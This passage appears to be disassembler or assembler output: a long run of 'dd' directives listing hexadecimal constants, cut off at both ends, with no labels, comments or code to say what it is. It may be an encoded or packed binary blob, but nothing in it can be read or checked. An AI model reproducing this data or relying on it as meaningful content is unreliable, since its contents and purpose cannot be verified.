0AB409E7Fh, 0CBF853CAh, 0BDA4C1C0h dd 87E8527Ah, 0D00B4B00h, 0FE554407h, 404832D6h, 44693E48h dd 9A80934h, 44FB0078h, 32E3413Ah, 94913008h, 0F9308C2Ah dd 0F747F179h, 0B16D00E8h, 58407E2h, 0A407127Ch, 0DCD86171h dd 7F5021F1h, 402F5892h, 0A8F47E60h, 0F94CE2A7h, 1B548064h dd 1D90487Bh, 0E45810FBh, 0F242BF4h, 0FEA1436Eh, 3D32C1Dh dd 0C600E4B5h, 5ECD9DBBh, 0A87F6A26h, 9922E8AAh, 3FC8004Bh dd 0DF9C5195h, 0DCA1314Eh, 6B645196h, 40842147h, 0D3F5F3DBh dd 0B5C8AD00h, 6848CE6Eh, 4E0F019Eh, 0D97FCA0Bh, 0BF885093h dd 0BCA9C1EAh, 9100DFF5h, 924680A1h, 24AE41E2h, 978DA74h dd 0F8983FC7h, 39C6D3ABh, 1E4E811h, 0E49BA451h, 54476527h dd 2BD047F4h, 9821A8B4h, 96499780h, 99617228h, 244D1198h dd 2A40241Fh, 2ACA3E8h, 9F8DB33Dh, 1069B4C1h, 2424D2CDh dd 0D4C02014h, 2C46B9D3h, 0F2F91E00h, 1D6FB716h, 0D26703D6h dd 0D0CF343Ch, 0D0359834h, 3879498h, 530F8438h, 0D8BCC88Ch dd 50A05C40h, 5150BF96h, 0C8B13D40h, 0B4AF4E01h, 0D050AC71h dd 884C3F4Dh, 31D05AD1h, 7001938Ch, 0B44C8C51h, 4E861841h dd 0D830C811h, 11D3645Eh, 0D3F87059h, 6132C710h, 0E70AC1DFh dd 0B0CD88D7h, 8E5110EEh, 422B570Bh, 816B8E7Eh, 0D333C6C4h dd 824C4182h, 4485AA32h, 5C5C4834h, 2F451A44h, 80E85FBCh dd 0D91819E6h, 0D40076B9h, 0FDAA0A66h, 2E6FDFh, 31CD627Ah dd 36981B37h, 9B4CE8B0h, 41BF3214h, 15E07DC9h, 1603548Ch dd 90D97843h, 0D3358079h, 739E0B29h, 0CC38B34Fh, 450393A7h dd 0BF4CFA90h, 0E105E412h, 2AB898B4h, 0C4F42213h, 0E96E880Ch dd 6BED0439h, 88DA9786h, 0E1CFC7D0h, 0BA8D005Ah, 0B1E3B9h dd 0F9D5E9D2h, 0D18A56DFh, 48F1C0B2h, 0C000628Ch, 0A55E7A68h dd 91762B74h, 264CA424h, 4DC9C014h, 9F00AE47h, 6159C1E6h dd 549060h, 0A84A6D6Fh, 3A3F34F1h, 0B659DCA8h, 49A92F89h dd 0FD63003Ch, 9F7EA9B5h, 6FCEB318h, 245A73AAh, 0E7B081E5h dd 5FB36092h, 4D40A860h, 97409347h, 0AD822F5h, 0EF988FE3h dd 501783ADh, 0BF18669h, 113CC080h, 8E5C37E3h, 70B93870h dd 0A8B45808h, 0D7664418h, 807489C8h, 0EE0CCF65h, 0E100CE3Eh dd 0AF6EEA83h, 13BC5B8Fh, 30812010h, 6CC10C84h, 557F5373h dd 30353E80h, 0CF21AAF5h, 0B700931Ah, 0E42CF9B4h, 164EFF4Dh dd 704260E7h, 43F5EDE8h, 91B76C05h, 804EB5E0h, 6C4C70C4h dd 0DF6E0FC0h dd 8F004A73h, 64F566F8h, 6CC0950h, 0D661A011h, 6844D189h dd 0E375091Fh, 0BC277AFCh, 2590C8CBh, 1D09304Dh, 0FCA014ABh dd 0B53AE7CDh, 0A6010A3Eh, 0CC44A045h, 7C644940h, 1C00A8B5h dd 38860A0Dh, 0E2C2B9F9h, 0FCCE4904h, 4634F029h, 6A61D162h dd 92CC3BA1h, 16A7EDDCh, 44EFDE9Eh, 42AF3324h, 90B35DD1h dd 8B6332DCh, 8CC9492Ah, 1590D090h, 5019D901h, 0DF5B28BFh dd 56F9A5FCh, 7500F0D7h, 0FB475065h, 0F63BABB1h, 0D08F87DFh dd 1CD34B81h, 0C4F12418h, 0A6AF0064h, 79AC3736h, 0C0DC3D4Dh dd 559B9AEFh, 0C7B00DFh, 0D797BB14h, 0F6046479h, 0C3EE867Eh dd 0E0224890h, 0ED7F12CBh, 0D4FC9077h, 0CA302817h, 2D619969h dd 52A123Bh, 0F56482E0h, 67397C80h, 0A46F77E7h, 0D00819h dd 38100A11h, 4F0088D2h, 5DCF4C8Ah, 1F9E3579h, 99ABC1AFh dd 2D6270C5h, 8DD98094h, 0D61B47h, 0E33B7AD3h, 0DEB4CDC3h dd 0C3BB3580h, 0DA53BF29h, 803CF113h, 19FB6C70h, 0B77602FFh dd 973E52D3h, 8BBD64E0h, 60CEBF12h, 38162843h, 4C3AD35Eh dd 863EB041h, 0E6013E40h, 927C15F4h, 94292E82h, 0BD5D5F00h dd 480A8DFh, 0F820E900h, 6C2B3425h, 0A01F4869h, 1480B488h dd 57463C0h, 519906C6h, 8028126Bh, 1109C805h, 0E05EBB0Bh dd 50208F13h, 2764A5h, 0D3EFF702h, 7A9A12E9h, 363B7500h dd 71F25C58h, 4565041Bh, 0E3DA187Fh, 0C0C4484Ch, 919F3C50h dd 389B007Ch, 0A6E62480h, 0B7136B56h, 0B0206393h, 4AF5A3Ch dd 0BB5F6DCAh, 520488C4h, 2191A763h, 348ADC64h, 6B9BB300h dd 0B555E7CBh, 0D901AD7Fh, 0BFF08BA6h, 81F954C1h, 5A7FCC5Ch dd 517EB0A0h, 48F97530h, 0C0A1F544h, 6CA5F421h, 8F028EE7h dd 4D4AF7C4h, 0D85920h, 3D1FF688h, 0BC69C997h, 46E84A91h dd 0B58B0204h, 0E59F07C5h, 0D8A16FC1h, 3E84C59h, 1037F427h dd 0C41DF0h, 0DB07F594h, 8B7196E2h, 8444809Ch, 0BEE48Ch dd 5B9E269Dh, 399F1271h, 0FE5CD80Bh, 4EC40231h, 4E205233h dd 45B420C8h, 803D6476h, 0EC51E95h, 5CCBF881h, 0CF44B88Fh dd 78814095h, 20456535h, 3C000C84h, 337C4B06h, 84E068h dd 71D7E316h, 0F5295B10h, 0F3694C60h, 0E102A4h, 0AE995218h dd 769D31C1h, 1D4D0814h, 80D088DCh, 0FC22B295h, 0F0096A4h dd 2C78ADA2h, 0E67637Ah, 3D973F0h, 0B4680789h, 4402406Dh dd 28A1CEFEh, 1FF8C504h, 55B503C1h, 0F6D0755Ah, 8D05A689h dd 655217E8h, 272578CCh, 0AC24EA4Eh, 75F90644h, 13870011h dd 1A275C81h, 6700E518h, 38CE6108h, 604B7505h, 0B7E69140h dd 3C012797h, 43F694CDh, 743C87E2h, 109E1481h, 3CB06266h dd 0C1E048C8h, 0A8CAA354h, 0C90FE8h, 0D6A66E7h, 72030ABCh dd 527D7605h, 28028028h, 68A9D6F6h, 9627C77Ch, 38D8CD90h dd 8C2CD3FCh, 9C7800D6h, 4191E060h, 2578533Bh, 82AB8501h dd 0FA662B5Ah, 9CE54C64h, 29324458h, 70C52093h, 19CDC778h dd 0E8BF69C5h, 6EAB6C9Ch, 44FF11C6h, 80918674h, 0BD1C7B1Eh dd 8576DB01h, 3EE33320h, 0BAD04FF1h, 13809166h, 89F8881Dh dd 0FEF74602h, 6322092Ch, 501AEA1Ch, 0CAC902F4h, 200D075Ch dd 0C052B891h, 5709A4E2h, 0E4618D3Bh, 4DBB44E4h, 0B05C3F34h dd 659C2898h, 80FB86B7h, 2EAF2E6h, 5F021A78h, 1E7BED4Bh dd 10B88961h, 96936BA0h, 601D99E0h, 889914B6h, 0B07352F1h dd 44103721h, 0E0D11475h, 351610A9h, 0B5F03269h, 408C132Fh dd 49BD05B2h, 90F6984Eh, 0E6BF80A4h, 0B434DC4Fh, 0D2D1840h dd 58DDA144h, 6D88345Dh, 6B645460h, 21CA13F6h, 0C94020ABh dd 939165Ch, 0E33704CDh, 4C8935C1h, 8FC2108Bh, 6A5DB810h dd 0B400C6F0h, 36333135h, 32CC57Ch, 202DCA5Fh, 8AD926CDh dd 16E0390Fh, 9010E7BFh, 65BA1348h, 784E898h, 31263C4Bh dd 89F32043h, 5C003003h, 523461ADh, 250DE56Bh, 14A36378h dd 5111971Fh, 0EC58B734h, 94342928h, 32114C94h, 7AD26245h dd 784F4428h, 0B0A9BF00h, 7D9E8FDAh, 0CCE3549Ah, 0D14D45E1h dd 279C3686h, 1A1031B7h, 0C8B204h, 0D87C37BDh, 3E7675EDh dd 304A85A8h, 0CEB88EE0h, 0C24C997Dh, 0C98102E2h, 91893C95h dd 0BF11BB94h, 94C822F0h, 10F4894Ch, 1D301E38h, 4683FF79h dd 19B247D1h, 964F5112h, 14D15912h, 5808AF35h, 51F0B345h dd 642C9464h, 5A6941A3h, 0D7401148h, 7C6CFFAh, 43D77870h dd 0D06F4235h, 15AB4883h, 35603A4h, 0DB59C879h, 0CD3331B9h dd 3D4CE071h, 40D6C018h, 4877CF1h, 0C38A99DFh, 28A8F25Dh dd 5C1FE596h, 2456489Ch, 60F938C8h, 2732B14Eh, 0E3002C77h dd 71C95711h, 318E13h, 51AC1FF0h, 42221C43h, 9C4A709Eh dd 9000C896h, 5E3F8286h, 6B130909h, 0DCC970F4h, 383C08E7h dd 768FB252h, 4CE2F65Dh, 14826C6Dh, 9510D8F0h, 0F7A30051h dd 8D45E255h, 535C4324h, 82BF1224h, 33159101h, 42F684B7h dd 9647190h, 0B485D4E8h, 0D88C50D0h, 280F049h, 0A8A54E87h dd 8047933Fh, 5815E48Fh, 3BBB911Fh, 0F44982B8h, 8783390Eh dd 7D0E1C80h, 8D5BF4B3h, 0FF30C020h, 0DB810377h, 67744FFDh dd 70519204h, 30942998h, 1900E0A2h, 743CEA56h, 85049B06h dd 7BF2A789h, 38E18092h, 0ACF338C7h, 5A13A469h, 43406C20h dd 0D80D0BBBh, 7CCC6330h, 0AE93B4B4h, 708C6420h, 3C43123Bh dd 1AF808A8h, 691B288Ch, 0BF184435h, 0D488CC4Dh, 0A4372A8Ch dd 9D0072F4h, 70AA4D15h, 0E93652h, 1BFE0E1h, 1A2492E3h dd 4CF4C324h, 0E5F35947h, 0C23EB078h, 88CD0110h, 346C0B9Fh dd 0C0F42263h, 83307B5Ch, 0FCD1EAE7h, 8C63E52Dh, 0FE1ED922h dd 98409313h, 75A2CADDh, 0B78B1343h, 5374825Eh, 0C4268479h dd 0AA7D9238h, 80743015h, 6206C1D3h, 520707B2h, 2B5398ECh dd 4B8C429h, 913B397h, 0DC4A884Fh, 6F604828h, 0FFCEBDh dd 1B8F2D81h, 69C59D1Ch, 0C8085841h, 8C010284h, 283D6A64h dd 0BFCEBCA2h, 0E3A8182Bh, 0E2500FF8h, 56C041B3h, 5EE9C75Fh dd 0E8B71F09h, 0BB642437h, 7739A240h, 28196B96h, 2A5971DFh dd 0C9005463h, 0A3B91752h, 7920ED84h, 323888C6h, 0CB2500AAh dd 0DF2CEA7h, 0D7028AB2h, 276A74D6h, 0E868687Ah, 20E48A78h dd 23183800h, 2F562ABDh, 12CE1C4Ah, 203F0203h, 0B47965B2h dd 8200A111h, 0CB80F23Eh, 0D80DE7CFh, 580FD069h, 2F2F8C6Ch dd 9BF00C30h, 60976305h, 749CB70Fh, 73E40014h, 0A62E6B7Fh dd 0CA5E8188h, 15F52460h, 43DCBE0Dh, 0E390BCCAh, 0C67CECD4h dd 9879852Ah, 0C4103258h, 4577DA2Fh, 23100618h, 0F40E0C89h dd 623D2441h, 0F3F8B1FEh, 6ACE08C8h, 3CC381BCh, 8C62F220h dd 0D838B9FDh, 67097F83h, 0EABF1112h, 14813825h, 809221AFh dd 18943631h, 0D4D8CE2Ch, 8E616C1Ah, 66966BE8h, 4EAF22D4h dd 66590C90h, 8F08DDB4h, 0CEF581ABh, 61209EF3h, 0CCBAD56Ch dd 0A7110A28h, 0F51D6AF9h, 6E7DC050h, 0D14EC69Ch, 38017F27h dd 377898h, 0E87BCA31h, 9E0126E6h, 0BC08405Ah, 0D433615Dh dd 275AFC17h, 7E04D812h, 2776CC22h, 59852081h, 7B00A935h dd 91A2BDD2h, 0E6CCF5Ah, 0C8FAC9Fh, 2AC88197h, 3E8194BFh dd 4DFCC0F4h, 4F5672h, 50BD0409h, 0B7164ECBh, 0A260965Ch dd 6168561Dh, 286BE04Dh, 0C0C8E324h, 14C31FD0h, 14ED4E37h dd 8E5C2E03h, 6A204B2h, 0E0BEC878h, 233010CBh, 26700097h dd 13FD185Dh, 315CAFECh dd 35E984ECh, 4A803855h, 38425687h, 0D78D0B02h, 6A1B9E51h dd 40F454E0h, 2CCF1DD9h, 96555900h, 797C11E4h, 0F4100230h dd 0D9E6803Ah, 820E0CF2h, 8ABECA46h, 0D8242454h, 0E969FE40h dd 0BDE000F9h, 598EBB80h, 7E2C3891h, 1E9DF80Fh, 5A604824h dd 9C6C2FDh, 3DBC1165h, 6900C066h, 79CC365Eh, 0B323EA2Ch dd 2E9C2CD0h, 1198C8E8h, 3C204ED9h, 1D73AD05h, 0C041762h dd 85793F25h, 8D25EC98h, 0BDA8A487h, 110A252h, 0E512CFC8h dd 0C0FE6046h, 0BA4116Bh, 2F1E51DBh, 3A3B7810h, 0C9AA7002h dd 28B54B0Ah, 0BAED4088h, 0AB0F8AB7h, 0C02393E1h, 59BD9FAEh dd 80D0B9C3h, 0D1C48889h, 266D29CBh, 0FC409996h, 3F9830FBh dd 1682E5EDh, 0D7C4F16Dh, 51427054h, 10442AD0h, 6C378BB3h dd 5510EB4Ch, 3800047Fh, 4FE2CFCEh, 31F2E3FAh, 2F2873E1h dd 0D432CAh, 0E8CDF10Dh, 1CAC44h, 0B7A7DF79h, 48F0201Bh dd 4D24A590h, 3288A49Ch, 0B4AE45A0h, 0C2015DDCh, 321BE190h dd 332B9135h, 40F0CD70h, 4E0E9072h, 57A11B02h, 21C82022h dd 8CE833C7h, 9977F931h, 30973C78h, 0FC72EB00h, 6FAF2B4Fh dd 809AAA03h, 17F4607h, 0EA57C881h, 3C83179Fh, 0B5518114h dd 746C0D7Ch, 47FEEA80h, 0B345C7AFh, 4C22C021h, 0C8E6BF12h dd 928E3564h, 0C070B6D4h, 0A1F4DA84h, 0C094F359h, 46971507h dd 0DFB40774h, 404EA5EBh, 0A4D068E1h, 2063714Fh, 1A10E080h dd 0D3150187h, 0B7721C9h, 0A659E46Dh, 0D93DAA17h, 67B4F008h dd 368448AEh, 0C0E576CFh, 96104EF1h, 940764A3h, 3DBB24E9h dd 133CEECBh, 0D122F03Eh, 11B2CC34h, 0CB10D0F9h, 152489E6h dd 8C00FF92h, 1EC4E088h, 2CBA9599h, 0C988B4D9h, 1F611164h dd 0D45A617h, 6889F849h, 1084E42Ch, 7F94C079h, 0DF01082Fh dd 3DE34FC1h, 806244BCh, 94E91302h, 8D99B33h, 0B09064A5h dd 0AE8F165Ch, 0C7C821E9h, 2080FE65h, 811C12E6h, 383A0A26h dd 7C39420Ah, 71B0CE10h, 8CE09B14h, 0E0FF1B00h, 60C156A7h dd 790CB447h, 88403C46h, 126C6A99h, 0C89834B2h, 0F000043Ch dd 31ED43F3h, 4E630722h, 0EB14444Ch, 0D8AB4677h, 0AE350031h dd 185A4726h, 8909C66Fh, 53D2A745h, 74E4A0A4h, 230CA963h dd 40182711h, 5162C944h, 3DDA2E12h, 886AECCCh, 801170Ah dd 352AE28Fh, 198073CAh, 3AA86141h, 6800AC27h, 0B4CB4570h dd 3DAF1859h, 0CB4BDAABh, 78085134h, 10F3C000h, 39237BA2h dd 3202E8DEh, 0D1494175h, 3F8030F9h, 0C63B7CBEh, 0E5E903ADh dd 400D6F97h, 0B8017D3h, 52605A65h, 0EA82E0D1h, 3D2000AFh dd 2A57F697h, 0FE06911Ch, 68524042h, 9E78B0E9h, 40B244E0h dd 18563099h, 1CD700B3h, 364BB7E1h, 9A0BC5F3h, 647A01B2h dd 0FA302ACh, 5176E79Bh, 65F6FF40h, 0A73D3Bh, 0B4B371Eh dd 0B3A3FBF9h, 0A900BB30h, 0F437E02Dh, 87F8345Dh, 0B3ECC1A0h dd 0EC30AD5Ah, 0D85E4E31h, 8F17B099h, 96051894h, 6CF4CBBFh dd 0C137000Eh, 0C8279DF1h, 772E645Eh, 5243287Ch, 3C290B15h dd 1010864Eh, 1CB63DA0h, 0D00869C3h, 900D8Eh, 0DC38CC05h dd 0F988E96Ch, 0E691494h, 50D873F0h, 5248588Bh, 5B413400h dd 56995A1Bh, 4654E404h, 7CF90C3Eh, 509C6D26h, 1C1352F8h dd 28D8B8CCh, 1BF40068h, 0EA625647h, 1C27BAA8h, 301C9850h dd 3B40A018h, 0A9F600DFh, 9E62236h, 0C5009463h, 815F1BB5h dd 0B364425Bh, 0A0520088h, 0D23C7089h, 0E8277401h, 771DC6BAh dd 0C8619600h, 1A4F1EFCh, 0B1CB4427h, 51E2A0CCh, 0F0E18040h dd 744F1E41h, 1BD9C707h, 7BA1E538h, 1E4258Dh, 44035D5Eh dd 4E81825h, 95E412F0h, 0C1248403h, 98CF1A7Bh, 745016h dd 67AD799Dh, 68FD27EEh, 985C97F2h, 0CDF08BFCh, 0D2F98C20h dd 600E899h, 6702E390h, 2B7D3FCh, 0D8C58866h, 0BCE6827Ch dd 27DCC800h, 0F55114F4h, 30C427BAh, 0C8DF6831h, 4A169EDDh dd 77123305h, 0E260DC20h, 732509AFh, 34024ED3h, 0D7246632h dd 2F25080h, 1D96004Dh, 1E2EE12Fh, 90976142h, 0E8090D68h dd 0B1F20089h, 35F92C0Fh, 0B700174Dh, 0A2F0B2DDh, 2F79AE1h dd 0EE20E599h, 64614ED1h, 48108B1h, 8CD25BBh, 0F0CF4F4h dd 0D69EA30Eh, 7D280E7h, 0C3965Eh, 98192758h, 0CB1DB4DDh dd 0C0794503h, 881B2E68h, 0BEB6F05Eh, 0FFFA60A0h, 0D008AA8h dd 716286C7h, 0F251B8h, 0C6D52F01h, 0FEA7C1DBh, 6096F417h dd 8093BC70h, 977D0053h, 0F9EA981Ah, 0F601A47Ah, 0CC5AA95Dh dd 0B04968D6h, 975D020h, 0A8726AC8h, 870038F9h, 9DF726D6h dd 31E60618h, 4E477DD0h, 0FC61F10Eh, 0C442600Dh, 486D5409h dd 6F2208BBh, 5FFC4C01h, 0E1A9318Bh, 0BB9B20h, 0E33E8561h dd 4DCA2D33h, 0E908D4A8h, 0B370CF00h, 18F8EFD3h, 0CC805C33h dd 2CB72E11h, 2C6028CEh, 165B7EF5h, 0C82BC6E0h, 710041ECh dd 61BCBB07h, 9540994Eh, 0D1929413h, 80B4EB00h, 52DB00B3h dd 61FD9ED2h, 95028250h, 220A21FAh, 0A0D0EDh, 0F3C7EA35h dd 203C6765h, 705FFA01h, 61AE93E6h, 73AA9981h, 6034E972h dd 0F8BAB80Ch, 426490Fh, 7AD1CAh, 60C20FB2h, 9CA70528h dd 1C53CB07h, 0CFE3F2DDh, 0F8B38DC6h, 9900E423h, 0A8E658EAh dd 0F1250067h, 6155C86Ah, 3D125943h, 0A080DEAFh, 7574D71Dh dd 4B66780Eh, 65408C96h, 7FD8F200h, 70FA2797h, 6CC603B8h dd 3E4DBDC3h, 93927FA7h, 7FA85134h, 5E01A6D0h, 80A4953Dh dd 0E08096ADh, 5F336124h, 9B14FA64h, 28A620A7h, 1F7BFCA5h dd 0BE38B3h, 0E5750E04h, 0ECE96515h, 0B9D10B61h, 30896301h dd 5990F466h, 0FE6523Ch, 95BB6Ch, 0B4DC720Bh, 9CFB0B62h dd 0F0876BABh, 5CC45322h, 0BBA6A7D0h, 9830DB04h, 8CA42F1Ch dd 727F00E8h, 47F0137Eh, 0D5780894h, 4BCA2311h, 5929A600h dd 0E6CF8751h, 9035C327h, 3EB970F8h, 7680BC2Dh, 4C104E36h dd 0A902B222h, 0C6D72C1Dh, 804071D1h, 0DB3F66ECh, 0BD00E664h dd 713D76A5h, 0AF2B13Ah, 6ECDC6C5h, 139C40ACh, 30F8372Fh dd 63668015h, 59D10ED0h, 0DC2277C3h, 0D8D92973h, 7AC25301h dd 0E07AB7CBh, 380EAA81h, 44D72FF5h, 1089FAD0h, 9BAD4050h dd 4CCA2205h, 0B4F1000h, 0F8043F8Dh, 0D81E5140h, 0FCF0293Bh dd 0F414CB9Ah, 10C820C1h, 0C800ED0Dh, 39127DC6h, 0AC00410Eh dd 3180375Ch, 283253BBh, 9D47120h, 0B6DFE9BFh, 0FD1DD07Bh dd 6605EE40h, 0A8EDB2h, 0D48C22E7h, 0A193B37Dh, 5505BCEEh dd 4133AE1Bh, 0E03E9CC2h, 4AE3FBD5h, 7F3C42ACh, 9BC0434Bh dd 72793244h, 0B4E5BF18h, 1FB4C30h, 0FD4135FCh, 304209A8h dd 0B84CF670h, 20704804h, 0E3580328h, 67C9B334h, 17E456C5h dd 52EC884Ch, 0A0500671h, 8158E408h, 51E20C9Dh, 0A80349Dh dd 33620726h, 8EAC01B4h, 60C37BFFh, 2988B5ACh, 0EF9100CBh dd 1F39BFAFh, 2A0E1BB4h, 5D341222h, 2B4E924Fh, 96FC902Fh dd 8B40388h, 0DE6534Ch, 4EA8C9DBh, 48008F29h, 37C40592h dd 0F8B03395h, 0CD401CF3h, 92E0A66Dh, 10689018h, 6B009146h dd 30A5C40Ch, 7F37BED4h, 96E527D3h, 0B553D882h, 58440Bh dd 0FAA73F2Fh, 5B063836h, 67AEBC12h, 48161016h, 2417ECA7h dd 6010012Ah, 220FEA4Eh, 0C04F4B54h, 0F93D40E6h, 4F27A9Dh dd 0BDF45BD2h, 6594F4ACh, 0B01B7F00h, 24B9CA7Bh, 5AB43F07h dd 1019D5AFh, 0C0FAF419h, 434D8F00h, 3DD6FFC8h, 0B4309FD0h dd 0CC222A58h, 0CA1A0DA7h dd 0CC28D7AAh, 0A328756Fh, 78945066h, 48880980h, 38D6418h dd 0B8A9CF3Bh, 3924ECF9h, 90252844h, 48A1EA0h, 193738FFh dd 8EB8C0FBh, 3298934Ch, 0D178A800h, 0A540E017h, 602F513Ch dd 386EA30h, 6384BD87h, 81905D0Bh, 1B76B9AAh, 9E912409h dd 3A5C8461h, 4D8738FCh, 0D7E9937Dh, 0A97C6C90h, 0B0F25C00h dd 90D6AA7Ah, 2E1018Ah, 0D7172181h, 55544831h, 282CFB00h dd 3CE68F61h, 6CED03E0h, 24395326h, 2901ABEBh, 0CD278268h dd 0EC20D4F3h, 8C525AD1h, 0D20BD938h, 6109C926h, 472AEE4h dd 35B38300h, 57F008D0h, 8B1C4878h, 8740FD8Dh, 3EFF3B0Ch dd 0D5CB5AA0h, 0E8AC044Ch, 0E1D14464h, 0B873888h, 0D79F1533h dd 2231A480h, 0F54E4B2Eh, 2126490h, 52FD1E98h, 0B3E3C12Dh dd 2A29CB16h, 831BA00Eh, 549EE6EBh, 894C4441h, 0DC4C31C8h dd 0E32C50FEh, 3F08AC30h, 2C00AFB4h, 39A2E0F6h, 5D0408E8h dd 69C8F83Dh, 7700F54Bh, 0F933D59Ch, 35C96D62h, 522E2163h dd 0DC087AF8h, 0DA380A1h, 880A3B07h, 690BA001h, 35C7BE03h dd 0BF0E2469h, 0A692CCCBh, 8A7300ACh, 9351D657h, 0F25E0264h dd 2ED7BFFDh, 782CC4C4h, 280FC0E3h, 0E6976463h, 9900E0F9h dd 0F6E71503h, 4D1C3316h, 4F805FE0h, 0E5F3CE08h, 1F3112A5h dd 0D01027CAh, 32AF8346h, 0C988E100h, 0E6F7FD4Dh, 2CF30379h dd 87EC5C80h, 6655CDE0h, 142CD24Ch, 0D2D42428h, 637F0804h dd 49DE5144h, 3BB452F5h, 0B5002CFEh, 176D27B4h, 7F01A030h dd 4CE9C704h, 88731FC9h, 3C0B500h, 5F340733h, 0A9255300h dd 78F72058h, 0F02C0047h, 14F69691h, 2E00CDBFh, 33045CC9h dd 2223DA6h, 64C7BCB0h, 0BCD96360h, 75661F07h, 0B0DA4AB3h dd 9D824E2h, 0ED4C5C63h, 0DB44EC68h, 0AB1C8F0Ch, 2525C1D1h dd 8C4408C2h, 0DAFE7107h, 475057CBh, 325F2CDh, 78B7D1E1h dd 497670CAh, 376D3600h, 571CB69h, 3CF4F65Fh, 0C744AE2Ah dd 47A93000h, 0FA7332C3h, 0F584075Dh, 20264613h, 251917CFh dd 1AE0F000h, 2861BB86h, 6D521634h, 305012B4h, 0F7F21F0Ch dd 26518C01h, 10482D55h, 3AA2E7F0h, 0D500EFA4h, 0C0B7DD6Bh dd 5A31D129h, 0ED4D39DAh, 0CC5B2468h, 4E002AA8h, 25C997B4h dd 130561EBh, 0A708374Dh, 39100090h, 0A2B50A77h, 0D604021Eh dd 95FE4A7Eh, 0F0A8FA61h, 0AA00ED40h, 0C3B69760h, 47913F4h dd 241AD741h, 27188214h, 84CC5310h, 0E9909CA4h, 748C4203h dd 0A0C53058h, 194CEC9h, 2562525Bh, 30C33E4Ch, 84B9429Eh dd 1502CC9Fh, 0E079D14Dh, 488293E1h, 0DC18C8F7h, 33968066h dd 60249C26h, 21BBE09h, 795BD491h, 46C1411Ch, 6D5CF437h dd 0E1027701h, 0FA251BCDh, 0ED10F830h, 22026032h, 94D41F5Dh dd 0BC5974E2h, 417D5C02h, 0ABC2E0B3h, 1583007Bh, 0EC9FA933h dd 0CB124246h, 88889C1Fh, 997B005Fh, 5DCDC4B5h, 4B033E5Eh dd 1A9A503Ah, 0E40CCA11h, 4E2325B8h, 0D1CD9010h, 6309870Fh dd 50A612DDh, 25C83E28h, 209129C7h, 171B18E9h, 722228EDh dd 44DE36E8h, 1720CD44h, 184E97BBh, 0E5263CF8h, 10C741B4h dd 39A433BEh, 0ACA4AC11h, 318D4560h, 0A1E507F6h, 0B32A660Eh dd 684EC343h, 0BCEBC28h, 30B02551h, 4A5EFC81h, 5CD42041h dd 0A422AB89h, 96CF3509h, 0BB761380h, 2838B893h, 0EBBC3h dd 0C82C50DCh, 0A137C6C7h, 0D1114D98h, 0A904D53h, 30A010E4h dd 8552BF13h, 0C0D8ACB4h, 0A59948ACh, 0F4250023h, 2E4A88CAh dd 2832BDA0h, 833468F9h, 0C027E864h, 0E06F5158h, 69C30465h dd 805B3A33h, 9C87C60h, 76AA3703h, 0A8519349h, 143EA6Dh dd 8F8BE42Ch, 2F3FC79Ch, 25642Ch, 14B35E3Eh, 59A06E28h dd 0A8A3321Dh, 40304CD2h, 0FA04710Eh, 6C2300E3h, 88E813A1h dd 58000D77h, 0ABB216CAh, 0B1B8D069h, 0F6E9803Ch, 7DBC0C49h dd 0BD047B71h, 889CA233h, 12CD1C82h, 804F0C7Eh, 12E2B7B2h dd 0A4D10008h, 25E3761Eh, 830022B1h, 0BA90A394h, 5ED76E96h dd 1A809174h, 3E31D04Dh, 89515525h, 0FC459ECh, 71E0529Ch dd 0F19218A1h, 86AD5100h, 0A431FB11h, 4D0C1341h, 1054B53Fh dd 0A20F29A4h, 97834002h, 4031A0B9h, 0BCCA61D7h, 0E3F8718h dd 4BFB154Ch, 0E4E49644h, 103BF100h, 4E41AEC4h, 8483017Eh dd 5D0AB70Dh, 5EF3C056h, 9EAF4C03h, 0D05A973Dh, 9C157DC7h dd 71F90C94h, 1700D449h, 0FF167F2Ah, 526BF9Bh, 41A3DA9Dh dd 97A0886Ah, 12CD4C00h, 3DB5AF4Dh, 5DE37D3Eh, 305E745Dh dd 0E87AF34Ch, 0A03A9E16h, 5406830h, 621C0254h, 803DCA4Ah dd 0D5B864A3h, 89F40EE8h, 0A22A6700h, 0A4A637AEh, 0E36C07D2h dd 0A9F8A72Fh, 0C713D071h, 37C494C9h, 0FA15E43Ch, 0C5BAA009h dd 7063EB52h, 0F4225F00h, 0E72A4F18h, 7B2F2EB8h, 0CC00E363h dd 4D2E4B8h, 9865E64Ch, 924410B0h, 607CB9CDh, 57DB9395h dd 7ECF1A0Eh, 9FBB82A8h, 8198807Ah, 14FFAABh, 4206E8FEh dd 70A5B0CDh, 0C789D838h, 0A9FA838h, 80CD7E6h, 3E928E32h dd 35433430h, 962E0101h, 8209B8B2h, 973FCCF1h, 1E4C3413h dd 0B03CE4A2h, 0D0BD0D81h, 0F0230479h, 6125AB31h, 1F06C4Eh dd 0F17EBB32h, 0D0E544BDh, 2F5ABF83h, 53C084Bh, 0F80AD3E4h dd 0B8249F35h, 0A9FA3785h, 82BFA070h, 4597091Fh, 8CF147D1h dd 0C5358D40h, 5C9B00DAh, 44660D51h, 0B205A3E3h, 0DE4BE1D2h dd 38F97885h, 78055C80h, 8A174894h, 6C20AE31h, 0A7B897h dd 91D3EC39h, 2994E9Eh, 6719504h, 0D0DCD13Ch, 990B1F90h dd 8031C181h, 0FC258B62h, 0EC9C6519h, 0C824E840h, 5EF400E2h dd 114F7BBh, 7D003644h, 7FBC3548h, 2915741h, 318F343Eh dd 40DCAF2Ah, 806BE808h, 0DD12FE0h, 7D010E73h, 853D7FF1h dd 0F820C4C9h, 14CBF4ACh, 0F4EABFF9h, 87803682h, 8D033CC6h dd 0D0C1A0E2h, 0D686815Ch, 64737DD5h, 22397F00h, 0E57480DFh dd 460E4CF8h, 3DE04853h, 52261A0Fh, 41706028h, 0DC202F38h dd 0F6EB5DBh, 3A8C76FFh, 10929387h, 0E7F7CCC0h, 7904F4FCh dd 0D8AB51B9h, 6078F647h, 95FD2A3Dh, 54F6FFF0h, 223FC001h dd 33C74B9Eh, 0CDE8202Fh, 0E8965DA8h, 0ED830640h, 6947008Ch dd 799F78B4h, 9B1D4CEEh, 39009E4Dh, 0AC1D8528h, 0D2B84BD3h dd 329B2C0h, 0C8E7FFA5h, 1F69D77Bh, 8FA8D192h, 9FC5A97Dh dd 0FB98879Eh, 0BAE19848h, 0F1F0F400h, 7190A567h, 0AE3D02E3h dd 878455C7h, 8F5CF0D2h, 42C5C8E8h, 5F07D1C2h, 0C04E2270h dd 766BF443h, 13E100C5h, 308247E6h, 0BA09568Dh, 0E4AB10B1h dd 0CD600518h, 0C2B4A021h, 60D02A80h, 7B51B34Ch, 8564E75Dh dd 0A0A83A31h, 